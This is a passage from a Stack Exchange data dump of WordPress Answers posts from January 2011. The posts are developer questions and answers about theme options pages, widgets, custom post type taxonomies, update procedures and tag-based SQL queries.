class=&quot;metabox-holder&quot;&amp;gt;&#xA;&#xA;        &amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;            &amp;lt;?php wp_nonce_field('update-options'); ?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;theme-options&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div id=&quot;left-column&quot;&amp;gt;&#xA;                    &amp;lt;?php&#xA;                        include(&quot;options/custom-logo.php&quot;);&#xA;                        include(&quot;options/custom-intro.php&quot;);&#xA;                        include(&quot;options/frontpage-headline.php&quot;);&#xA;                        include(&quot;options/featured-project.php&quot;);&#xA;                    ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!--end left-column--&amp;gt;&#xA;                &amp;lt;div id=&quot;right-column&quot;&amp;gt;&#xA;                    &amp;lt;?php&#xA;                        include(&quot;options/contact-details.php&quot;);&#xA;                        include(&quot;options/footer-text.php&quot;);&#xA;                        include(&quot;options/google-analytics.php&quot;);&#xA;                    ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!--end right-column--&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!--theme-options--&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;update&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;page_options&quot; value=&quot;&amp;lt;?php echo implode(&quot;,&quot;, $option_fields); ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--end metabox-holder--&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--end wrap--&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;add_action('admin_menu', &quot;theme_options_admin_init&quot;);&#xA;function theme_options_admin_init()&#xA;{&#xA;    add_theme_page( &quot;Satoshi Theme Options&quot;, &quot;Theme Options&quot;, 8, __FILE__, 'theme_options_admin');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-22T10:16:37.573" Title="$_GET['updated'] does not work in Wordpress 3.1?" Tags="&lt;php&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7487" PostTypeId="2" ParentId="7486" CreationDate="2011-01-22T10:04:44.050" Score="2" ViewCount="" Body="&lt;p&gt;This line is wrong, i couldn't even get the theme options page up without changing it..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_page( &quot;Satoshi Theme Options&quot;, &quot;Theme Options&quot;, 8, __FILE__, 'theme_options_admin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update that to read something like..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_page( &quot;Satoshi Theme Options&quot;, &quot;Theme Options&quot;, 8, 'satoshi-theme-options', 'theme_options_admin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Saving options did produce the updated message as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Looks like the &lt;code&gt;$_GET&lt;/code&gt; key has changed in 3.1 when performing settings updates.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update the following line.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $_GET['updated'] ) echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;Satoshi Options Saved.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To..&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $_GET['settings-updated'] ) echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;Satoshi Options Saved.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;And you'll now see the updated message when saving.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-22T10:16:37.573" LastActivityDate="2011-01-22T10:16:37.573" CommentCount="4" />
  <row Id="7488" PostTypeId="1" CreationDate="2011-01-22T10:06:40.427" Score="0" ViewCount="60" Body="&lt;p&gt;Is there a conditional tag (or a similar concept) that can tell me wether the search returned posts or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2011-01-22T10:09:42.577" Title="search result conditonal tag" Tags="&lt;search&gt;&lt;conditional-content&gt;" AnswerCount="1" />
  <row Id="7489" PostTypeId="2" ParentId="7488" CreationDate="2011-01-22T10:09:42.577" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;echo $wp_query-&amp;gt;found_posts;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-22T10:09:42.577" CommentCount="1" />
  <row Id="7490" PostTypeId="2" ParentId="7475" CreationDate="2011-01-22T10:44:55.967" Score="2" ViewCount="" Body="&lt;p&gt;You are basically looking for a form plugin. IIRC &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms (Wordpress Plugin)&lt;/a&gt; has the feature of creating multiple-steps forms.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-22T10:44:55.967" CommentCount="3" />
  <row Id="7491" PostTypeId="2" ParentId="7474" CreationDate="2011-01-22T10:52:53.370" Score="1" ViewCount="" Body="&lt;p&gt;Wordpress itself is not resetting connections normally (at least I have not experienced it so far), so the connection gets shut down by one of those: a) the webserver, b) a http firewall, c) an IDS, d) a tcp/ip firewall or just by e) network hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can reproduce the problem, you might want to contact IPOWER and while they real-time montior the network connection and server infrastructure you can trigger the error again. The networks and servers administrators should be able to find the real cause of your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you request does not even reach the server, you might have some application running inside/alongside chrome / firefox that is forcing the connection to reset on the client side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as you're concerned to fix it on your end, take a browser that is not having the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An additional question: After getting that connection reset message, are you actually logged out from the blog or not? If not, this is a sign for the client/server problem. If yes, then probably Wordpress is triggering this. But I suspect some network problem in combination with HTTP headers send by those two browsers, but it's hard to say with the information you provided.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-22T10:52:53.370" CommentCount="2" />
  <row Id="7492" PostTypeId="1" AcceptedAnswerId="7535" CreationDate="2011-01-22T11:45:35.860" Score="1" ViewCount="217" Body="&lt;p&gt;Right now I use the following code to create a custom post type and assign a taxonomy to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// === CUSTOM TAXONOMIES === //&#xA;add_action('init', 'my_custom_taxonomies', 0);&#xA;&#xA;function my_custom_taxonomies() {&#xA; register_taxonomy(&#xA;  'section',  // internal name = machine-readable taxonomy name&#xA;  'static_content',  // object type = post, page, link, or custom post-type&#xA;  array(&#xA;   'hierarchical' =&amp;gt; true,&#xA;   'labels' =&amp;gt; array(&#xA;    'name' =&amp;gt; __( 'Section' ),&#xA;    'singular_name' =&amp;gt; __( 'Section' ),&#xA;    'add_new_item' =&amp;gt; 'Add New Section',&#xA;    'edit_item' =&amp;gt; 'Edit Section',&#xA;    'new_item' =&amp;gt; 'New Section',&#xA;    'search_items' =&amp;gt; 'Search Section',&#xA;    'not_found' =&amp;gt; 'No Sections found',&#xA;    'not_found_in_trash' =&amp;gt; 'No Sections found in trash',&#xA;    'all_items' =&amp;gt; __( 'All Sections' ),&#xA;   ),&#xA;   'query_var' =&amp;gt; true, // enable taxonomy-specific querying&#xA;   'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'section' ), // pretty permalinks for your taxonomy?&#xA;  )&#xA; );&#xA; wp_insert_term('Footer', 'section');&#xA; wp_insert_term('Header', 'section');&#xA; wp_insert_term('Front Page Intro', 'section');&#xA; wp_insert_term('Front Page Content', 'section');&#xA;}&#xA;&#xA;// === CUSTOM POST TYPES === //&#xA;add_action( 'init', 'create_my_post_types' );&#xA;&#xA;function create_my_post_types() {&#xA; register_post_type( 'static_content',&#xA;  array(&#xA;   'labels' =&amp;gt; array(&#xA;    'name' =&amp;gt; __( 'Static Content' ),&#xA;    'singular_name' =&amp;gt; __( 'Static Content' ),&#xA;    'add_new_item' =&amp;gt; 'Add New Static Content',&#xA;    'edit_item' =&amp;gt; 'Edit Static Content',&#xA;    'new_item' =&amp;gt; 'New Static Content',&#xA;    'search_items' =&amp;gt; 'Search Static Content',&#xA;    'not_found' =&amp;gt; 'No Static Content found',&#xA;    'not_found_in_trash' =&amp;gt; 'No Static Content found in trash',&#xA;   ),&#xA;   '_builtin' =&amp;gt; false,&#xA;   'public' =&amp;gt; true,&#xA;   'hierarchical' =&amp;gt; false,&#xA;   'taxonomies' =&amp;gt; array( 'section'),&#xA;   'supports' =&amp;gt; array(&#xA;    'title',&#xA;    'editor',&#xA;    'excerpt'&#xA;   ),&#xA;   'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'static_content', 'with_front' =&amp;gt; false )&#xA;  )&#xA; );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click the menu of the custom post type (in this case &quot;Static Content&quot;), I see in the table/column (where all the posts are displayed) the following information: Title, Author and Date. I would like to show the taxonomy assigned to that post (in this case the &quot;Section&quot;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do that? &lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-23T04:40:41.943" Title="How to show the taxonomy assigned to a post in the table (where all the posts are displayed) of the custom post type?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="7493" PostTypeId="1" AcceptedAnswerId="7495" CreationDate="2011-01-22T11:54:45.320" Score="1" ViewCount="27" Body="&lt;p&gt;I am using the theme 3Grey. It is widget enabled. There are few widgets that are hard coded in the theme. These widgets donot appear in the sidebar in the widgets page. If i try adding new widgets the old ones get deleted. Is this ths normal case. Or is there any problem here.&lt;/p&gt;&#xA;" OwnerUserId="1789" LastActivityDate="2011-01-22T12:14:52.683" Title="Problem with widgets" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="7494" PostTypeId="2" ParentId="7472" CreationDate="2011-01-22T12:13:26.913" Score="4" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/scb-framework/&quot; rel=&quot;nofollow&quot;&gt;scbFramework&lt;/a&gt; has related classes, I used it for one plugin and it saved me plenty of time;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;WPAlchemy MetaBox&lt;/a&gt; I see a lot of mentions for this around, hadn't used it myself yet;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://themehybrid.com/hybrid-core&quot; rel=&quot;nofollow&quot;&gt;Hybrid Core&lt;/a&gt; has set of functions for pages/metaboxes/settings, but it probably won't make sense to use it just for that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-22T12:13:26.913" CommentCount="2" />
  <row Id="7495" PostTypeId="2" ParentId="7493" CreationDate="2011-01-22T12:14:52.683" Score="2" ViewCount="" Body="&lt;p&gt;Most themes will have a default set of widgets that appear when you don't add any widgets yourself (using the widget page in admin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can normally just drag the widgets that were &quot;hard-coded&quot; into the correct sidebar, and all should be ok.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-22T12:14:52.683" CommentCount="1" />
  <row Id="7496" PostTypeId="2" ParentId="7464" CreationDate="2011-01-22T12:31:23.507" Score="3" ViewCount="" Body="&lt;p&gt;Just to offer up an alternative using a CSS override which will actually have the same effect as Mike's solution. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles-edit-tags.php', 'normalize_tag_cloud' );&#xA;function normalize_tag_cloud() {&#xA;    ?&amp;gt;  &#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;.tagcloud a { font-size:inherit!important }&amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think either way is better, simply wanted to share a way to approach the problem differently.. ;)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-22T12:31:23.507" CommentCount="2" />
  <row Id="7497" PostTypeId="2" ParentId="1272" CreationDate="2011-01-22T13:02:16.123" Score="0" ViewCount="" Body="&lt;p&gt;I just installed &lt;em&gt;SyntaxHighlighter Evolved&lt;/em&gt;, and while testing on an existing post I was dismayed to find that all the quotes &lt;code&gt;&quot;&lt;/code&gt; had been converted to &lt;code&gt;&amp;amp;quot;&lt;/code&gt; (the single quotes were fine). I was using the HTML editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you are also in this position, I found that it's just the post &lt;em&gt;preview&lt;/em&gt; that is escaped - when you Publish it appears fine.&lt;/p&gt;&#xA;" OwnerUserId="2662" LastActivityDate="2011-01-22T13:02:16.123" />
  <row Id="7498" PostTypeId="1" CreationDate="2011-01-22T13:07:13.010" Score="2" ViewCount="157" Body="&lt;p&gt;What is the best approach (steps) to update Wordpress when I have to update all of the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;wp core&lt;/li&gt;&#xA;&lt;li&gt;plugins&lt;/li&gt;&#xA;&lt;li&gt;database&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I came across this post &lt;a href=&quot;http://codex.wordpress.org/Updating_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Updating_WordPress&lt;/a&gt; However, it doesn't involve db update on top of wp core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I update the db after wp code and plugins or before? Db contains settings for plugins, so I'm a bit confused when it's the best to update it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would really appreciate any tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-01-22T18:30:28.410" Title="Updating Wordpress - the best approach (updating wp core, plugins and db)" Tags="&lt;plugins&gt;&lt;database&gt;&lt;updates&gt;&lt;upgrade&gt;&lt;core&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="7499" PostTypeId="2" ParentId="7498" CreationDate="2011-01-22T14:10:46.297" Score="1" ViewCount="" Body="&lt;p&gt;Any database changes WP itself needs are performed automatically. On first load after core update you will get (if required) special page that will say that database update is required and perform that update. No actions required from you really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changes and updates to database by plugins can vary and not many plugins actually need or perform them. If you perform plugin updates manually it's recommended to disable them, updating plugins inside WordPress will do that for you automatically if I remember right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All data is supposed to be retained on updates. It is still recommended to make backup before updates (I usually skip it, but only because I have solid scheduled backups anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall if updating grossly outdated installation I'd go with following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Perform full backup of both files and database.&lt;/li&gt;&#xA;&lt;li&gt;Deactivate all plugins.&lt;/li&gt;&#xA;&lt;li&gt;Update WordPress core, let it run database update.&lt;/li&gt;&#xA;&lt;li&gt;Update all plugins.&lt;/li&gt;&#xA;&lt;li&gt;Re-activate plugins one by one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If there are some old plugins, critical to site's operation, it might be better to first copy site to local WP installation and test both upgrade process and operation of plugins with new WP version.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-22T14:10:46.297" />
  <row Id="7500" PostTypeId="1" CreationDate="2011-01-22T15:01:49.463" Score="0" ViewCount="168" Body="&lt;p&gt;I'm working on project, where I have different widgets on pages and also different order.&#xA;Example - on About page I may have &lt;strong&gt;chat widget&lt;/strong&gt;, then &lt;strong&gt;e-mail sign-up widget&lt;/strong&gt;, then &lt;strong&gt;testimonials widget&lt;/strong&gt;. On other page I may have &lt;strong&gt;testimonials widget&lt;/strong&gt; only, followed by &lt;strong&gt;chat widget&lt;/strong&gt;. I'm using this code to show widgets on pages and children pages&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_front_page() ){  ?&amp;gt;       &#xA;&#xA;&amp;lt;?php }elseif ( is_page('areas-we-service') || $post-&amp;gt;post_parent == '16' ){ ?&amp;gt;&#xA;Do stuff here   &#xA;&amp;lt;?php }elseif ( is_page('products') || $post-&amp;gt;post_parent == '14' ){ ?&amp;gt;&#xA;Do stuff here&#xA; &amp;lt;?php }else{ ?&amp;gt; &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and  it work. The problem is that it not work on subchildrent pages e.g. Product -&gt; Product 1 -&gt; Product 1.1&#xA;On Product 1.1 I don't have widgets.&#xA;So, my question is, how to change code above to show widgets on subchildren, sub-subchildren etc. pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" LastActivityDate="2011-05-26T22:03:20.897" Title="Different widgets in sidebar on sub-children pages?" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;pages&gt;" AnswerCount="2" />
  <row Id="7501" PostTypeId="2" ParentId="7472" CreationDate="2011-01-22T15:10:10.873" Score="6" ViewCount="" Body="&lt;p&gt;OK so found some more:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/JeffreyWay/WordPress-Theme-Options-Page&quot; rel=&quot;nofollow&quot;&gt;JeffreyWay /&#xA;WordPress-Theme-Options-Page&lt;/a&gt;  -&#xA;open source class the project is hosted on github aimed at theme developers, &#xA;looks nice, haven't used it.&#xA;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/devinsays/Options-Framework&quot; rel=&quot;nofollow&quot;&gt;devinsays / Options-Framework&lt;/a&gt;  -&#xA;open source Framework the project is&#xA;hosted on github aimed at theme&#xA;developers , i later learned that is&#xA;has evolved in to &#xA;&lt;a href=&quot;https://github.com/devinsays/thematic-options&quot; rel=&quot;nofollow&quot;&gt;Thematic-options&lt;/a&gt; very large&#xA;scaled project that has lots of&#xA;features.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/helgatheviking/thematic-options-KIA&quot; rel=&quot;nofollow&quot;&gt;helgatheviking /&#xA;thematic-options-KIA&lt;/a&gt; -    open&#xA;source Framework the project is&lt;br&gt;&#xA;hosted on github aimed at help&#xA;developers build options into their&#xA;thematic child themes , witch was&#xA;forked for Thematic-options very much&#xA;up to date.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codecanyon.net/item/wordpress-adminpage-class/115872&quot; rel=&quot;nofollow&quot;&gt;Wordpress AdminPage Class&lt;/a&gt; - a&#xA;commercial solution, packed it&#xA;features and very easy to use.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/option-tree/screenshots/&quot; rel=&quot;nofollow&quot;&gt;OptionTree plugin&lt;/a&gt; - and IDE for&#xA;creating option panels , lots of&#xA;feature and constantly updated,&#xA;downside is: it's not easily&#xA;integrated in plugins or themes and&#xA;default options are not an option (up&#xA;to version 1.1.1).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;that's it for now but still looking to here about your experience. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After a long time of trying I've managed to integrate Options tree with my plugin and after that part was done , I have to say that its never been easier to add options to my plugin, EVER! all done with no code, but using the slick UI that comes with it.&#xA;So as of now its my favorite with a small exception of being a plugin by it self and not a framework witch makes the integration part a lot harder.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you read the first update then this will be 180 degree turn, i have stopped using Option-Tree witch was hard to integrate in the first place but mainly for the reason that it create an option row in the options database table for each option you add to it so my plugin has created 287 rows in the database and thats bad for many reasons but the main ones are its hard to remove all of them at plugin deactivation and you have to create a get-option call for each one of them so that's a lot of database calls.&#xA;Since that little set back,I found that most of the frameworks listed up here work in the same manner of each option gets its own row.&#xA;So i modified AdminPage Class to save all options per admin page in an array of options and and now my plugin only generates 7 Rows in the database and at most i only need to call the get_option function 7 times so that saves lots of database calls, I'll contact the creator of AdminPage Class and ask him to consider this modification but other then that it very easy to use and even easier to manage.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-27T19:41:02.783" LastActivityDate="2011-01-27T19:41:02.783" />
  <row Id="7502" PostTypeId="2" ParentId="7500" CreationDate="2011-01-22T15:16:40.897" Score="0" ViewCount="" Body="&lt;p&gt;look at &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-sidebars/&quot; rel=&quot;nofollow&quot;&gt;Custom sidebars&lt;/a&gt; plugin that lets you define sidebars per page/post basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can use is_page() with  the page id like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_page('322')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that way you define per page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-22T15:16:40.897" />
  <row Id="7503" PostTypeId="2" ParentId="7500" CreationDate="2011-01-22T15:29:58.070" Score="2" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic&lt;/a&gt; at my blog. It is not most convenient solution around, but definitely one of the most flexible. Widgets can be displayed/hidden based on arbitrary PHP condition. Works great with &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;conditional tags&lt;/a&gt; and when that is not enough you just write your own conditions and use them.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-22T15:29:58.070" />
  <row Id="7505" PostTypeId="2" ParentId="7472" CreationDate="2011-01-22T16:03:00.603" Score="3" ViewCount="" Body="&lt;p&gt;I had been using this , I liked how it outputs a iframe preview, but I started to just write my own since I'm figuring this stuff out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://clark-technet.com/2010/01/wordpress-theme-options-framework-ver-2&quot; rel=&quot;nofollow&quot;&gt;http://clark-technet.com/2010/01/wordpress-theme-options-framework-ver-2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-01-22T16:03:00.603" />
  <row Id="7506" PostTypeId="1" AcceptedAnswerId="7508" CreationDate="2011-01-22T16:42:28.213" Score="2" ViewCount="116" Body="&lt;p&gt;Possible noob question -- please be nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing up a theme options page using the sample from &lt;a href=&quot;http://themeshaper.com/sample-theme-options/&quot; rel=&quot;nofollow&quot;&gt;Themeshaper&lt;/a&gt;, and one of the options I want to have is to set the width of the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this with the CSS I already have, I need to change class attributes in my HTML in two places (one for the main column width, one for the sidebar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Themeshaper code is fine for adding little theme option tweaks, but I can't figure out how to get a single option to modify two places in the code at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly (hopefully!) a simple question, but beyond my current abilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should clarify that I'm not a programmer, and I'm already waaay out of my depth. That said, here's what I'm going for... In my theme options page, I want to have a drop-down menu with two options: 'wide sidebar' and 'narrow sidebar'. One of these will be the default. Changing the default needs to modify two CSS classes. I appreciate Rarst's answer below but I simply don't know enough about PHP to be able to get it to work. Is there a simple(r) explanation for how to get this to happen? Again, sorry if this is basic stuff.&lt;/p&gt;&#xA;" OwnerUserId="2666" LastEditorUserId="2666" LastEditorDisplayName="" LastEditDate="2011-01-23T01:25:22.133" LastActivityDate="2011-01-23T01:25:22.133" Title="Can I use theme options to change two things at once?" Tags="&lt;css&gt;&lt;theme-options&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7508" PostTypeId="2" ParentId="7506" CreationDate="2011-01-22T16:59:08.693" Score="2" ViewCount="" Body="&lt;p&gt;Nothing prevents you from retrieving your option in several places. You can do several &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_option&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_option()&lt;/code&gt;&lt;/a&gt; calls or create global variable and assign your value to it once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is hard to come up with specific example without knowing what exactly you store in option and which classes you want to generate for your markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the ways to get it done. Depending on how you organize code you might need to declare variables as &lt;a href=&quot;http://php.net/manual/en/language.variables.scope.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;global&lt;/code&gt;&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = get_option('sample_theme_options');&#xA;$sidebar_width = $options['sidebar_width']; // let's say we have stored integer '2' here&#xA;$column_width = 8 - $sidebar_width; // total width minus sidebar&#xA;&#xA;// and then in template&#xA;echo &quot;&amp;lt;div class='main-{$column_width}col'&amp;gt; main &amp;lt;/div&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;div class='sidebar-{$sidebar_width}col'&amp;gt; sidebar &amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-22T17:25:51.500" LastActivityDate="2011-01-22T17:25:51.500" CommentCount="1" />
  <row Id="7509" PostTypeId="1" AcceptedAnswerId="7511" CreationDate="2011-01-22T17:24:01.327" Score="1" ViewCount="319" Body="&lt;p&gt;Im trying to implement a tag-based search. When i specify certain tags, tagged posts will be searched and the post-id will be displayed that matches the searchcriteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it only works for a single tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT DISTINCT $wpdb-&amp;gt;posts.ID FROM $wpdb-&amp;gt;terms&#xA;    LEFT JOIN $wpdb-&amp;gt;term_taxonomy ON ($wpdb-&amp;gt;terms.term_id = $wpdb-&amp;gt;term_taxonomy.term_id)&#xA;    LEFT JOIN $wpdb-&amp;gt;term_relationships ON ($wpdb-&amp;gt;terms.term_id = $wpdb-&amp;gt;term_relationships.term_taxonomy_id)&#xA;    LEFT JOIN $wpdb-&amp;gt;posts ON ($wpdb-&amp;gt;term_relationships.object_id = $wpdb-&amp;gt;posts.ID)&#xA;        WHERE $wpdb-&amp;gt;term_taxonomy.taxonomy = 'post_tag' &quot; . $substring;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Substring looks like following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$substring = &quot;AND $wpdb-&amp;gt;terms.slug IN ('tag1','tag2')&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the problem. It does not look for single posts that match all criteria. Instead it 'collects' all posts with all tags searched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// postid1 -&amp;gt; tag1&#xA;// postid2 -&amp;gt; tag2&#xA;// postid3 -&amp;gt; tag1, tag2&#xA;&#xA;$substring = &quot;AND $wpdb-&amp;gt;terms.slug IN ('tag1')&quot;&#xA;//Output: postid1, postid3 - - - CORRECT&#xA;$substring = &quot;AND $wpdb-&amp;gt;terms.slug IN ('tag1','tag2')&quot;&#xA;//Output: postid1, postid2, postid3 - - -WRONG!&#xA;&#xA;//Expected: 